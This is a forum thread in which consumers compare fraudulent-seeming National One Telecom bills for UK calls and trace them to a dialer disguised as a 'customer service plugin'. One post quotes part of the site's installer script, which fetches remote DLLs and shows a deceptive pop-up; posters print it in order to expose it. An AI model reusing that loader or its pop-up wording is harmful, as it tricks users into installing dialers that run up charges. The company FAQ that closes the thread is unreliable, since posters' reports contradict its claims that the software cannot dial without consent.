My bill is for $84.00 also. Too many people have the exact same bill. I was wondering what else is a common denominator. Do others have AOL as their network service? Also, here's something of note. I sent the dispute to the P. O. Box in NH. I sent is delivery confirmation and apparently it was never picked up and is being returned to me. I'd like to know how they think they are going to turn me over to collections when they don't read their mail. The phone number was given to me by the BBB in NH. When I tried to call it using my long distance calling card, it wouldn't go through. I got a recording from AT & T saying I could not use the calling card to call this number so what's up with that? I'm not calling them from my home phone. I tried then with my cell phone and got a beep with no message as to who you called. Please tell me that any "reputable" company would have a phone number listed on their bills and have a recording at least telling you who you called!!! The BBB in NH also told me they have a ton of complaints. I called the phone company too, but the phone part of the supposed bill hasn't shown up yet. They (Qwest) advised me to dispute and said they will help me out as much as possible. They also told me to notify the Attorney General's Office and the FTC which I am in the process of doing. I also know John Ashcroft's nephew so I'm not opposed to calling in a huge favor and get the right Federal Agency involved ASAP. I did download their plug-in which I thoroughly regret and I cannot get it to go away. Can anyone help with that? I'm about to pay a computer guy to come out and clean up the crap off my computer. Once I downloaded the plug-in, I was scared by them wanting all the info, so I refuse to contact them via their crappy website. I'd like to know what website I went to and where I agreed to these charges, because I'll tell you I did not. Also, my best friend runs the legal department for a collection agency. She told me not to pay until they actually turn me over, then as long as you deal with it then, they can't do anything to you. Has anyone out there actually been turned over to collections? I'd like to know or is it all just fire and smoke. I think they just get some poor victims to pay the bills and the one's they don't get paid nothing happens to. It costs them lots of money to turn over accounts to collections. Perhaps that's their end game; to trash a bunch of people's credit. I hope you are reading this National One. If you return my dispute letter that you tell us to write on the back of your bill, then there is no way you can collect from me. The phone charges might be trickier, but this fight has only just begun. With my connections in high places - I suspect, you will be packing up soon. So anyone out there with insight into this, let me know? I'd really like to get their plug in off my computer. I'd like to know if anyone has actually been turned over to collections. And if anyone else has AOL (who I contacted regarding this and they were rude and not helpful at all). Also if anyone else filed a dispute letter in writing and had it returned.

Qleaping in
Colorado


----------



## ~Candy~

Qleaping, welcome, as I mentioned above to the last poster, start a new thread in the Security section and post a hijack this log, you can download from here:

http://www.spywareinfo.com/~merijn/downloads.html

Save to it's own folder, NOT to desktop.


----------



## jlands

tendoboy101 said:


> the other day in the mail i got a bill from national one telecom, telling me i accessed one of their pay per view sites. but inever did. the day and time specified, there was no one even at my house. and there is no number to get back to them or anything. never once on my computer did a site say it was pay per view, nor did i go to a site out of the ordinary...is this a scam? i dont really know where else to ask on this board.


Believe me sir:
I also received a bill from National One Telecom Inc. The bill showed that on 06/19/04 at 11:27 am a call was place to +44 207 335 84 UNTD KINGD for 4 min CHARGE $16.00. I wasn't at home at the time.

I did not recognize the name on the invoice they told me to visit www.nationalone.com for customer service.

I sent them an e-mail telling them that they had billed me in error. I then received a two page letter from GEORGE that stated if I did not pay the bill I would be charged an additional fee and that they would turn the bill over for collection. Then they proceeded to tell me that my credit rating would be harmed.

But, if I wanted to pay the bill on line they would deduct 5%. All I had to do was go to http://www.nationalone.com/creditcard.php.

I didn't place this call and when they directed me to a website to give me a discount that in and of itself made me supicious.

I located another website called www.ripoffreport.com that gave me many more people who also received a bill in the mail for phone calls they didn't make.

I've been advised not to pay the bill until proof that I made the call is forthcoming.

John
Carlsbad, CA 92008


----------



## jlands

NationalOne said:


> Hello,
> 
> I am the customer service manager at National One Telecom, Inc. Although there is no phone number on the bill, there is a website url where customers are supposed to gain access to our customer service system to have any billing questions answered.
> 
> If you prefer please post your invoice number here and I will have someone call you within 72 hours to answer all your questions and resolve any problems that you may have.


junior:
My invoice # 760730985615
I was not at home during the time your compay claims a call was made to +44 207 335 84-UNTD KINGD 4min $16.00.

There is no one other than myself that has access to my computer.

This has to be a mistake. Until proof that someone used my phone or computer on 06/19/04 at 11:27AM the bill will stay in limbo.

Any transactions that are made from my computer are made using a credit card so that something like this doesn't happen.

please advise:
John Landsberger


----------



## jlands

kirsten0629 said:


> This is a SCAM!!! DO NOT PAY!
> 
> I got a bill too. Asked for web site and name of software. They gave me the website, not in history. Would not give name of software, checked to see if there was anything new... Nothing
> 
> My phone bill DID NOT have add'l charges on, like they said it would. Checked w/my phone company, they said I wasn't on the phone at that time. In addition they said MOST phone services DO NOT ALLOW third party billing, which this is!!! They wouldn't have let this go through. They advised me to contact FTC, State Attorney General's Office, and the credit bureaus. I did just that and contacted my local news station and sent an e mail to Bill O'Reilly about it!!
> 
> Also, used prepaid phone card to call the number listed on the bill. Wonder what I heard at the other end. THIS NUMBER DOES NOT EXIST!!!!
> 
> Looked up the company list in Dallas, not there, not anywhere!!!!
> 
> As soon as I sent an e mail stating that I had contacted FTC, State Attorney General's Office, Credit Bureau's, etc. I promptly got an e mail back saying they made a mistake.... DARN RIGHT YOU DID!!! Keep in mind their website says they almost never make mistakes. They only make mistakes when a phone line has just been switched over to another. Most phone companies leave numbers inactive for 6 months before reassigning.
> 
> It was also OBVIOUS they got my name out of the phone book b/c it is misspelled in the phone book, but correct on my actual phone bill. HAD IT ACTUALLY HAPPENED, THEY WOULD HAVE HAD THE RIGHT INFO.
> 
> I cannot stress it enough, when you get a bill from someone you don't know, google it, check FTC website, call anyone else involved. These people try to blame it on kids or grandkids. Check with your phone carrier. Tell them you have to investigate on your own to make sure it is really real. A good company would POLITELY give you all the info you need.
> 
> I believe in capitalism and entrepenuerism. But this is STEALING!!!
> 
> Even if you paid this bill you can go back to the FTC, etc. with your canceled check.


Kirston,
I also received a bill in the mail. The gave me a website www.nationalone.com to contact. I gave them what was on the bill of 06/19/04 at 11:27am from my phone number to +44 207 335 84 UNTD KINGD for 4 min CHARGE $16.00.

I told them that I was not at home at the time and was not going to pay for something I never used.

A George sent me a two page letter telling me that additional charges would be tacked onto my bill that was going to be sent to collection if I did not pay. The also gave me a site hhtp:///fwww.nationalone.com/creditcard.php to go to and if I paid by credit card they would give me a 5% discount.

Why didn't they take a credit card before? Why wasn't I given this option at the time the call was made?

Needless to say I'm not going to pay this bill.

Sincerely,
John Landsberger


----------



## rosereay

QLeaping,

Just wanted to let you know I did not pay my bill and it has gone to a collection agency. I did all the disbuting as well via email with a National One Rep. who dismissed me and basiclly said payup or it's going on my credit report then stated he was done with me and would not answer any more emails. I did file complaints with the BBB and FTC. I do use AOL as well. Note to National One (since you read this forum) my invoice is 203189.


----------



## jlands

rosereay said:


> QLeaping,
> 
> Just wanted to let you know I did not pay my bill and it has gone to a collection agency. I did all the disbuting as well via email with a National One Rep. who dismissed me and basiclly said payup or it's going on my credit report then stated he was done with me and would not answer any more emails. I did file complaints with the BBB and FTC. I do use AOL as well. Note to National One (since you read this forum) my invoice is 203189.


Rose,
Good for you. As long as National One can get away with this they will. It is my goal to put them out of this business of ripping good people off.

$16.00 isn't much but for some of us we don't like to give to charity with not even a thank you in return.

Sincerely,
John


----------



## QLeaping

Hey Rose,

My friend in Collections looked up Collections Express, Inc. in Barre, VT. They are not a member of the ACA (American Collector's Association). This does not mean they are not legitimate, but MOST agencies are members of the ACA. It benefits them to join. She isn't sure why any agency wouldn't join, unless they just don't want to pay the fee to join. She does show them as a "real" agency in VT. How reputable they are - no telling. 

Also the law regarding disputes clearly states that it must be done in writing not by visiting a website with an plug-in. I sent my dispute delivery confirmation to their P. O. Box in NH only to have it never get picked up. According to the P. O. it is in route back to me. 

So everyone keep fighting. I'll be contacting my high up government connections as well as some JAG lawyers. I've already done the BBB any my Attorney's General Office. If I get turned over to collections, then the FTC will hear about it. If we keep complaining, someone will look into it.

Qleaping


----------



## Spectrex

You people have extremely poor business ethics. I've NEVER heard anything positive about your company... there are even warnings on the news about National One. Like you keep saying... "things do happen". I believe that, for instance, "things" like your company getting shut down and the dweebs running it going to jail or being heavily fined! As for "from time to time"... judging from the replies in this forum, and from what I've heard from other sources, it's happening a lot more often than "from time to time". Just type in the words "national one complaints" in Google and see how many hits there are, compared to "National One good" or "reliable".

Note: When I say "you" in this post, I mean National One as an entity.

I noticed that you posted some crap about contacting the badbusinessbureau.com for information. Who are these people? I've never heard of them. Maybe they are affiliated with National One? No thanks... I'd rather contact a legimite company like the BETTER Business Bureau, whom by the way, has a lot of dirt on National One already. Also, just because a company is on file with the credit bureaus, doesn't mean they are trustworthy. I'll bet your company has excellent credit, though, since you are raking in all the innocent people's cash. I'm sure you can afford to pay your bills.

By the way... what the &#^%@ are you doing in this forum anyway? It's not a "National One" board. As I saw in another post, any company who won't give voice contact info is VERY suspicious!

I'm just stating a mixture of fact and my opinion, so sue me! It's not slander if it's the truth, besides, our statements are protected by the Bill of Rights. Anyone here in this forum can post thier opinions about anyone without fear of retribution. The above statement is my OPINION. Where are you people from??? Iraq?

To anyone else getting ripped off by these "suspected" crooks, notify your local Attorney General's office RIGHT AWAY, as well as the BBB (the BETTER business bureau) and the Federal Trade Commission. If enough people complain about them, they will be gone very soon. This process was recommended by my family attorney. We fought them and they backed down because they had no legimate evidence that we owed them anything.

Good luck consumers. If we stick together, we can get rid of all the clowns who are out to rip off as many people as they can.


----------



## jlands

Spectrex said:


> Bite me! You people have poor business ethics. I've NEVER heard anything postive about your company... there are even warnings on the news.
> 
> I'm just stating fact, so sue me! It's not slander if it's the truth, besides, we are protected by the Bill of Rights. Anyone here in this forum can post thier opinions about anyone without fear of retribution. The above statement is my OPINION, as well as a publically known fact. Where are you people from??? Iraq?
> 
> To anyone else getting ripped off by these "suspected" crooks, notify your local Attorney General's office RIGHT AWAY, as well as the BBB and the Federal Trade Commission. If enough people complain about them, they will be gone very soon. This process was recommended by my family attorney. We fought the case and they backed down because they had no legimate evidence that we owed them anything.


You are right of course. What made me really stop and think was when they offered to give me a 5% discount if I paid by credit card then gave me a website to go to so that I could plug in my credit card number.

They must think we are all morons. Even a moron would question a bill that would not specify who we contacted.

They are out of my system for good and believe me I'll be careful from now on as to what I pay for in the mail that I don't remember. I don't even drink or use drugs.

Sincerely,
John Landsberger
Carlsbad, CA


----------



## Spectrex

I tried to get to thier site, but it insisted on installing a plugin. To get around this, just hit cancel several times and it will stop asking, or just type in the URL http://www.nationalone.com/home.html. It won't ask for the plugin that way. Then use the link on the left to contact them via web message. Who knows if they actually read it, but at least you can say you tried to contact them every way possible. The wimps won't post a phone number or address. Why, when they can use your phone anytime they wish. I also wouldn't doubt that the "plugin" is a dialer. Sneaky *******s.

Ever notice how "nationalone" also spells Nation Alone. Kinda makes ya wonder what these idiots are up to.


----------



## madvigilante

I have just received my really fun bill from the national one telecom and racketeering services corp. thanks guys! With no contact info except a cheesy website, I am grateful for the information that is on this forum. I have already contacted USBI to clear the phone bill charges and block any more unauthorized website visits to jolly ol' england. So far "national george" says the bill is legitimate blah blah, gonna have ta pay blah blah. I have no problem taking the time to fight this on every imaginable level, but since this is a common occurance what is the best way to put this to rest? I am about to file complaints with the FTC and the attorney general, just as soon as I wipe the spyware off my hard drive.


----------



## Spectrex

I see that national zero dude quit posting. I guess he gave up because he knows we're right. If ya can't stand the heat, get out of the fire.


----------



## memphismark

Good afternoon all...
I recently received my very first bill from National One Telecom. After reviewing their website...bogus, and finding these threads on techguy and ripoff report, just to name a few, I felt it necessary to contact them via their website.

Along with removing these charges, I have informed them that I publish a magazine here in the MidSouth with a circulation of over 100,000. (Which is true!). And that I would find it very interesting to use my journalistic skills in what I have found out about them. I have requested that they contact me, so I can hear their story, but if you have anything you'd like to send me regarding your experience with them, please feel free. My email here is available to receive your emails. I would very much like to hear your experiences with National One Telecom. I have also contacted a friend of mine from ABC news. Oops. She was just voted best investigative reporter in Tennessee by the A.P. News. Guess what National One Telecom? I think that's a phone call you'll want to return. Thanks...I'll let you know what happens.

Mark Mattson
LifeDesign Magazine


----------



## ~Candy~

Hi Mark, welcome to TSG!

That is great news. It will be interesting to see where this will go.


----------



## memphismark

Me too Candy. I really dispise these sorts of scams. And the more they threaten, the more ammunition I have with the FTC, FBI & the news media. I am just sorry for all those people that actually paid this bogus $16 invoice. I called my mom and she thinks she got one too and just paid it. She's 82 and doesn't really think too hard about little bills like that. I will keep you posted as to what conspires. My friend at ABC took my bill tonight and will be airing it on the local news asking people to contact her if they've received on of the invoices. She'll probably get flooded with emails. Thanks again
Mark


----------



## ~Candy~

The sad thing is, that many invoices were over $16 as well.


----------



## ~Candy~

Kudraet said:


> I was billed $36.00 from National One, then got my phone bill later and had another $112 on there as well. I still have one more step to go on the total refund but George assured me that I wouldn't have any more trouble. We will see.
> 
> I am keeping everything. I have copied every post from here and every email from National one. A few stated I don't owe a thing. I still worry and for good reason.
> 
> I still would contact as many organizations as possible if I were you Revenger. At least if you can't get anywhere soon you will have records of making a complaint.
> 
> Man, I hope this never happens again to any of us.
> 
> Donations will be coming soon Tech guys-thanks for the help.


----------



## ~Candy~

http://www.lifedesignmagazine.com/

Nice website by the way, I'm assuming that is you


----------



## pactogie

Michael [[email protected]]
National One Telecom, Inc. 
1-603-472-3369
1-866-293-3814
*****************
BBB of New Hampshire, Inc.
410 S. Main Street
Concord, NH 03301 -3483
Phone: (603)224-1991
Fax: (603)228-9035
Email: [email protected]
WWW: http://www.concord.bbb.org

Got this off from an e-mail from National One to the BBB with regards to my complaint. I've had the same problem as everyone's--Verizon/USBI/Tellis/Nationalone.

My phone bill has been credited. Just hoping that the National one bill is no longer an issue.

Got a call back from the BBB recently asking whether I'm interested in participating in an ABC piece in investigating the practice of companies such a National One. Apparently there's been many complaints filed against them. I wimped out because I don't know what kind of people own these companies. He said he'll give me the phone and contact and would be entirely up to me to call or not. Now I regret not taking the number after reading this thread from beginning to end. May be we should wake up our politicians to take action to eliminate these scams. There are many, many more complaints about national one at the badbusinessbureau.com. The people there really need some help. They are not as action oriented as you folks here. Looks like people are being taken all across the country.


----------



## ~Candy~

Still stacking up here too:

http://badbusinessbureau.com/result...&searchtype=0&submit2=Search!&q5=national+one


----------



## Spectrex

Yeah, it sure looks like they are running a profitable scam. But not for long, if enough people raise hell about it.

The Nationalone dweeb stopped posting. I guess he couldn't take it. He's probably some high school or young college kid, working for minimum wage that they have brain-washed.

I remember this kid I knew who was a rep for Worldcom. He said that company would put Excel, AT&T, etc. out of the long distance business. Guess what? Worldcom is now in the Guinness Book of World Records for the largest bankruptcy claim ever filed! They were just as sneaky and underhanded as National One appears to be. We can only hope that the same thing happens to them.


----------



## J.Jackson

I received a National One Telecom bill in the mail 2months ago for the same phone number in the UK as most others, +44 207 335 84, for 10 minutes with a charge of $40. Sent them a note saying I had never accessed any web page advising me there would be a charge or ask for a credit card to bill. The next month got a bill with additional late charges of $5 and a threat to turn me over to a collection agency. I then returned a note stating I would not access their supposed web site in fear of a virus or establishing a means for them to access my computer. Requested that they call me to discuss the matter, since they list no phone number. Still waiting for a call. Saturday got a bill from the collection agency (now $65.), which I suspect they may own or are in a relationship with. I contacted my ISP about this matter suspecting it to be a scam. They said they had never heard of the company and to be cautious and further advised to contact FTC, State Attorney General's Office, Credit Bureau's and the local newspaper. That's in process.

NOTE ABOVE: that a so claimed service manager from NOT claims he will contact anyone responding to them in a maximum of 72 hrs.

SIR I'M WAITING.


----------



## ~Candy~

Has anyone demanded the collection agency remove these bogus reports on your credit records?


----------



## StoneWolfBlu

This site is so helpful. I too have fallen victim to this National One Telecom dilemma. I am also contacting the FBI in regards to this possible "scam" to see if maybe they can locate the individuals responsible for these "mistakes" and maybe get more info on the company. Has anyone else thought to contact the FBI also? If so then please email me or something to let me know what their response was ok?


----------



## memphismark

Hi All...
Well, here's my latest update. I have yet to receive anything from National One Telecom. Not a word. I just emailed them back informing them that my home and business are Macintosh based and the autodialer cannot work. Think this might get a response? I doubt it. I meet with ABC-TV tomorrow at 3:30 pm and I'm presenting them with all the info I have on NationalOne Telecom, USBI, Telliss. Does Geraldo Rivera work for ABC???

After some exhaustive research over the weekend, I have found this to be such a huge problem. More then just a $16.00 invoice. This involved collect calling, third party billing, pay phones, hotel phones and hotel movie rentals and soooo much more. USBI has already lost several cases with the FCC and ordered to pay up to $80,000 in fines per incident. Do not call USBI, Telliss or NationalOne to put the PIC freeze on your phone. They say the do it, but apparently, they aren't. As a matter of fact, calls to USBI have been interpreted as permission to change your long distance carrier to them. Only call your current provider (mine is Sprint). That's it, I'll let ya know how it goes with ABC tomorrow

and thanks for the compliment on my site, Candy.


----------



## Spectrex

Ahhh... so they are slamming people, too. *&^#ing crooks!

AcaCandy...
Nothing ever showed up on my credit report. I assume it's because the company won't dare make take any legal processes, for fear of exposing themselves. Like another post suggested... they are probably in cahoots with the so-called "collection agency" that represents them.
Even if something did show up on your report, I'm sure it would be no problem to have it removed.

I'm still waiting for a sufficient explanation/reply from the Nationalone "customer service" person as to why he's on this message board that is about web and email. It has nothing to do with the underhanded swindling of people.


----------



## ~Candy~

I'd follow up to see if they have an 'in-house' collection agency, or an agency who will do actual reporting.


----------



## QLeaping

Gang,

Do we know for sure if anyone out there has actually been reported to an actual credit bureau. I told you all from my friend who runs the legal department for a collection agency that National One's collection agency is not a member of the ACA and that it costs lots of money for them to report you to the real credit bureau's. I'm in the process of checking out their collection agency. They are listed by Qwest as a collection agency in Vermont, but I'm contacting Vermont's State office to see if they are licensed to practice in the state. The two things are quite different.

Last week I finally got my local phone bill and low and behold were the $59 charges for calls to the UK. They were billed from USBI and under USBI were two companies Tellis and One Call. When I called USBI, they said that Tellis and One Call like to deal with their own customers so to call them directly. They forwarded me to One Call. Who gave me an immediate credit for the $5 something charge. (Don't ask me why the calls were on two carriers). They gave me the number for Tellis and when I called a girl immediately answered the phone like she's the only one there. She got in a nice argument with me and said she had to contact National One before she could issue a credit. I told her that my National One dispute letter is enroute back to me because I sent it delivery confirmation and they never bothered to pick it up. I proceeded to tell her that I have contacted all kinds of agencies and was about to call in my John Ashcroft connection. (Of couse, she didn't even know who he was). Anyway, she said she'd have to call me back. I figured I would never hear from her. In less than an hour, she called back and said she was issuing full credit. I called Qwest as well and they said that they will back bill USBI who cannot then reissue the bill on your Qwest bill. Then the Qwest guy told me that he was scammed by these same people a few months ago. He also blocked International and 900 calls on my phone. Qwest then gave me my new bill total less these charges. They were great!! If you get phone bills call your carrier. He said that USBI would have to re-bill on their own and it would not effect my Qwest bill. 

So now I wait for the outcome of the National One bill. They did not receive my dispute letter because it is on its way back to me. By law I am not responsible so they can do whatever they want.

Also I called my State's Attorney General Office and these are the websites they told me to visit and to pass on to you all so the complaints can start to pile up. They will be shut down if we all complain!!! File complaints at:
www.ftc.gov. The FBI needs to know also: www.ifccfbi.gov
She also said to contact www.fraud.org.

So let's get busy and get these jokers shut down. Too many innocent people are getting burned. Also, I installed spy sweeper by visiting www.spybot.com
it found the TIBS dialer that called the UK. It is gone from my computer now. Everyone should do the same. This got on my computer by putting a google search for a woman's name that I was trying to find her bridal registry. Apparently, there is a porn star with the exact same name. She came up in the searches and from there this "thing" got on my computer. 
Keep fighting everyone!!!!

Qleaping


----------



## J.Jackson

Interesting. I sent my letters addressed to NOT and a copy of this URL to the collection Agency in VT, Collection Express, INC POB 728 Barre, VT 05641 888 560 6340 and http://www.badc.com/web/express/. I had asked them when a good time to call would be and got no response. Then sent them additional info with this URL attached and within 10 minutes got a note back saying my file was being closed due to dispute. Replied to them that there should be no negative remarks placed against my credit rating. Any such remarks would be laughed off anyway. Of further interest also tried the phone and email listed in this forum. Email came back, "no such listing". Phone switched over to what sounds like a fax line.


----------



## memphismark

okay...my last entry today, before I go home. I just got off the phone with VeriSign the company that certifies the so-called "customer service" plug-in on www.nationalone.com. I was told that the automatic download is not correct. He also told me that VeriSign's only responsibility is that they understand that this is an internet company doing business. Nothing else. However, he went to the nationalone.com site, got the auto download and is forwarding all of the information I gave them to their legal department. Hey George....comin' atcha from all sides, man.
Mark


----------



## ~Candy~

Great research!


----------



## Spectrex

Of course they closed the file, JJackson. They knew that if it went to court, they wouldn't have stood a chance and would most likely have drawn a lot of unwanted publicity. The more people who know the truth about them, the less time they have left.

I'm posting warnings... meaning "suggestions" (not accusations, mr. Nationalone) in every forum and on every newsgroup that I can find. I've even talked to a LOT of webmasters and they are posting warnings on thier websites. I'm even thinking about starting a new site dedicated to the facts about National One, with links to several states AG offices, the FBI, BBB, FTC, and any other site that has interest in consumer protection. I'm suggesting that people contact the appropriate agencies before paying anything if they receive a bill from them.

Let's keep the momentum going, people.


----------



## Spectrex

NationalOne said:


> Kudraet,
> 
> As stated earlier, mistakes do happen. I will personally look into your account and issue a full credit and put a block on the number that was billed. I am also going to be looking into George's track record and take up the issue with his supervisor personally. I deeply apologize if you were treated unfairly, and I assure you that disciplinary action will be taken if all of this is confirmed to be accurate.
> 
> We are extremely proactive on locating complaints that our service was unsatisfactory. I must reiterate that the complaints here are truly the minority, and when these issues are brought to our attention, we act upon them immediately. Once again, we apologize for the inconvenience.


Proactive? I doubt you know the meaning of the word. If you did, you'd have a customer service system that worked, enabling easy telephone access to a real customer service rep. That's how a REAL company does business, unless they have something to hide. How about posting a phone number on this site right now? If you don't, then you have just lost a great deal more credibility.

Do you "really" support your company? Is National One legitimate? Then prove it! Give the public access to live support. If your company is really on the up and up, and you are not hiding anything, then you've got nothing to be afraid of.

C'mon, prove us wrong!


----------



## Spectrex

Does this LOOK like a customer service plugin, or their dialer?

<script>
// Change the first 2 lines below to your dll path(the same as codebase , and path to the executable dialer.

var installer='http://nationalone.com/bin/DialInstaller3.dll';
var program='http://nationalone.com/bin/NationalOneCtl.dll';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
var answer_no=0;
var count=parseInt(location.href.substr(location.href.length-1,1));
if (isNaN(count)) count=0;
function error_activex() { 
alert('In order for us provide the best possible customer service, you need to press YES to the popup in order to install the customer service plugin. This plugin will allow you to contact our customer service representatives and have all your questions answered regarding your bill. This installation is completely safe and will not interfere with any other applications on your computer or change any settings.');
answer_no++;

Nope... it's an installation script for thier dialer's dll file (yes, it's executable). Just type in that URL and watch the window pop up asking if you want to download it. Or course, when the entire script is run, it downloads and installs itself.

I see no reason for a company to install any kind of "plug-in" to allow you to contact customer service. The only thing is "allows" is thier access to other people's money.

I'm going to download it onto one of my systems, isolated from my network, that doesn't have a modem installed (cable) and "reverse-engineer" the program. Easy process... and it will tell me exactly what the program is designed to do. I'll post the results as soon as I get them and send the results to TechTV in case they want to do an segment on it.

So... it looks like mr. nationalone has LIED to us. I guess he forgot that a lot of people today can read code. What was that he said about "liable"?


----------



## Spectrex

AcaCandy said:


> I would tend to think so, when a dialer is installed without most people knowing...........  and the answer they get when calling, is: "didn't you hear your modem dialing out?"
> 
> Man...oh man, oh man............


Hard to hear it when the autodialer turns off the speaker. Easy to do. Also, it appears that the calls are made at times when most people wouldn't be online. They sure are sneaky, but not very smart. Any 12 year old can write code to do what thier "plug-in" does.

I was thinking... it's time for all of us to write letters to CNN, MSNBC, and FOX News. Even TechTV would be interested in this one, since it exploits technology. This really needs to go national!


----------



## J.Jackson

SPECTREX- "Experience: Know enough to be dangerous"  Love this, especially DANGEROUS for NOT.


----------



## Maggz

Im Interested to know what you find Spectrex


----------



## bbc

I also just received a bill today from National One Telecom. My bill was for $48.00, to UK, 44 870 119 01. I am quite sure it was the TIBS dialer that did it. Before reading the posts on this site, I was very curious why my modem speaker had been turned down. I was also curious as to why, when my dialer comes up, that I am listed as "already online".

I have run ad-aware and spybot s&d, but perhaps this thing is still on my computer. I am going to try and get it off with some other tips that have come in.

I spoke to "operator 4092" at Telliss, and she said she would phone her "friend" at National Telecom to get my charges removed. I have already contacted the FTC, and will go much further if nothing is done about my bill.

National Telecom, my invoice number is 244948. This kind of thing makes me so mad. I agree with some of the other posters on this board. I will go way beyond the $48 of aggravation to stop this from happening to others!!!


----------



## QLeaping

Hey gang,

Hey National One guy - are you still out there?  I've reported you to:

BBB in NH
My State's Attorney General's Office

I have filed complaints at these agencies: 

www.FTC.gov
www.ifccfbi.gov
www.econsumer.gov
www.fraud.org

My bill was late as of 7/11/04 - I better not receive another bill or be turned over to collections. You do not want to test me. I have connections in the highest offices of the government. These officials are busy trying to keep America safe from terrorists. They really do have better things to do then hunt you down. But since you have scammed so many innocent people, they might want to look into it. It might be a good time to pack up and run!!!!

Qleaping


----------



## kkklongkkk

I received a bill yesterday from National One Telecom (Invoice # 246343) for $112.00 to +44 870 119 01. I did not make this call nor did my computer. I was not home and my computer was shut down. My telephone company also indicated that no calls were made. I think you have made a mistake. I researched you through this forum and have contacted the Florida State Attorney's Office. That office indicated that I was to take no action until you actually placed something on my credit report. Then and only then could they take over this matter.

I don't know if you are a on the up-and-up but I would recommend that you check those companies that you do the billing for. Just because you are a good company, you could still be shut down as part of a "scam" ring. You would think that with so many complaints that your management would stop doing business with these companies, unless the gains are worth the risk. Just remember, they can put you in jail for what your company does. Just ask those people working for Enron.


----------



## memphismark

Is this happening only in Florida, or are some of you people from other parts of the country?


----------



## ~Candy~

It's happening EVERYWHERE Mark  See my link a few posts back.


----------



## QLeaping

Memphismark,

How did your meeting go with ABC News? I'm in Colorado for your research info.

You'll see from my last response that I have reported these jokers to every possible agency. We'll see what happens.  

Qleaping


----------



## memphismark

I am meeting with the reporter this afternoon. But I am now hesitant to say much on this board because of the investigation effort on ABC's part. I can say that this has escalated to a very large issue in two days. I'll post here after I meet with her. Thanks guys.


----------



## thebugler

I just received the infamous National One bill. The only correct item on it is my address. The originating phone number is not even mine much less the actions that allegedly happened. This is so obviously a scam. Wait in case someone is watching for "libel", I meant to say this is a SCAM! By the way a scam is defined as "[n] a fraudulent business scheme" - www.hyperdictionary.com. A scheme is "[n] an elaborate and systematic plan of action " Going by what I have seen, this is a systematic plan of action by a business called National One which appears to be fraudulent. SCAM!!

I attempted to go the web site, but I refuse to install the spyware, I mean plugin to view the website. I love the fact that this company is so concerned about its image that it scours the Internet for forums like these (this is not the only one) to inform us that it is truly an upstanding participant and that we ALL happen to be experiencing a minor mistake that doesn't occur all that often. I wish all other companies I do "business" with would show as much concern. I will also be following the advise of others on this site.


----------



## scrapser

I received an invoice from them on July 8th charging a phone number I had disconnected last year. I live alone and nobody has access to my computer. You will hear people reporting a similar situation over and over.

These people will obviously not come forward and admit to what they are doing. Notice that everything they offer for evidence of their integrity is never direct information. They are playing with the law and pushing things as far as they can, for as long as they can. Real human garbage in my book.

I have reported them to the Federal Trade Commission along with serving notice to the Maryland State Attorney General's office and the three credit reporting companies. They stopped answering my emails after I told them I was taking action. Gee, I wonder why?

The little plug-in they have on their site has nothing to do with accessing the customer support page. From what I've been able to find out, it looks like a spy program or maybe even a modem hijacker...probably both so if you have a dial up modem, don't download the plug-in.

scrapser


----------



## ~Candy~

You know what, I think I'm going to download that little add in program just for fun and see what happens  I'm on cable, no modem attached to dial out


----------



## angelize56

This is the most interesting thread I have read in while! I hope each and every one of you who was affected by this issue gets it resolved! :up: Take care. angel


----------



## angelize56

From my state of Michigan BBB:

http://www.dallas.bbb.org/commonreport.html?compid=90010840


----------



## ~Candy~

Based on BBB files, this company has an unsatisfactory record with the Bureau due to a pattern of complaints. Although the company resolves the complaints, it has failed to correct the underlying reason for the complaints. Complaints are concerning credit or billing problems. 


Imagine that  Perhaps they should also sue them for slander  Or was it libel the rep mentioned


----------



## QLeaping

Hey gang,

Anyone know what Memphismark found out from going to ABC news?

Really curious!!!

I figure my second notice bill will be coming any day now. Maybe not if they took off running!  

Qleaping


----------



## ~Candy~

Not yet, I'm sure he'll update us when he gets the time


----------



## Guest

AcaCandy said:


> You know what, I think I'm going to download that little add in program just for fun and see what happens  I'm on cable, no modem attached to dial out


 Candy!


----------



## ~Candy~

1. Why was I billed by National One Telecom, Inc?
When a computer user visits one of the thousands of affiliate web sites managed by our clients, they are offered to download special billing software that is used to view premium web site contact advertised on that particular site.

If the computer user decides that they want to access the premium web site content through the billing software, they must accept the certified download and will be presented with a disclosure screen. The disclosure screen will show the user the total cost for the service, state that they must be an adult, and also state that they must be the telephone line subscribe or have permission from the telephone line subscriber. The computer user is presented with the option of pressing I Accept to accept the agreement or Cancel to exit the application and not be billed.

If the computer user presses I Accept, they will be disconnected from their standard Internet Service Provider and reconnected to a special Premium Internet Service Provider through a special international number. They will be billed basic international long distance rates and any applicable entertainment fees on a per minute basis.

It is impossible to have this software dial out without first accepting the disclaimer, and during the entire dialing process the user has the option of disconnecting at no charge.

back to top

2. Where did the software come from?
The software came from various web sites marketed by our clients and their resellers. When visiting a site, the computer user is offered the option to use the billing software as a payment method to view the premium content that was advertised.

Our clients do not target minor and only allow resellers with sites which target adult users.

back to top

3. Did you develop this billing software?
No. We have several clients who we have billing agreements with and each has developed their own billing software. Their billing software has to comply with certain standards that we set in order for us to provide billing services for them. These standards ensure that their billing software is compliant with the Telephone Disclosure and Dispute Resolution Act.

back to top

4. How does the software work?
Below are the steps that the computer user must take in order to use gain access to the premium content:

1. The user must accept the certified download to install the billing software onto their computer.

2. The user must read and agree to the legally binding disclosure that the software displays. By accepting the disclosure the user agrees that they are of legal age in their state, that they are the telephone line subscriber or have permission from the telephone line subscriber, and that they promise to pay for all fees incurred.

3. The user will be disconnected from their internet service provide and a special international number is dialed. During the dialing process the user can clearly hear their modem dialing the number and are able to disconnect at any time during the dialing process.

Whenever the computer user wants to access the premium content through the billing software, they must repeat steps 2 and 3.

back to top

5. What kind of premium website content do you bill for?
We provide billing services for any premium website content that is legal in the United States. This includes sports information, games, music, chat, and others.

back to top

6. Could this software have been sent in an unsolicited email advertisement?
Absolutely not, we strictly forbid any form of unsolicited commercial email. Our clients only promote their services on their affiliate web sites or through resellers who operate their own web sites. Both clients and their resellers are well aware that we do not accept any form of unsolicited commercial email.

If you received an email promoting a service that is affiliated with a client using our billing services, please contact customer service.

back to top

7. Could the billing software have been used by accident?
No. Before the billing software can dial out it must disclose the terms and conditions and clearly state the cost for the service. In addition, once the user accepts they will clearly hear their modem dialing a new phone number and as well as hearing loud modem tones. The above steps ensure that the service cannot be used accidentally, and that the users intent to use the service is clear.

back to top

8. My Internet Service Provider said that nobody was online when the call was placed.
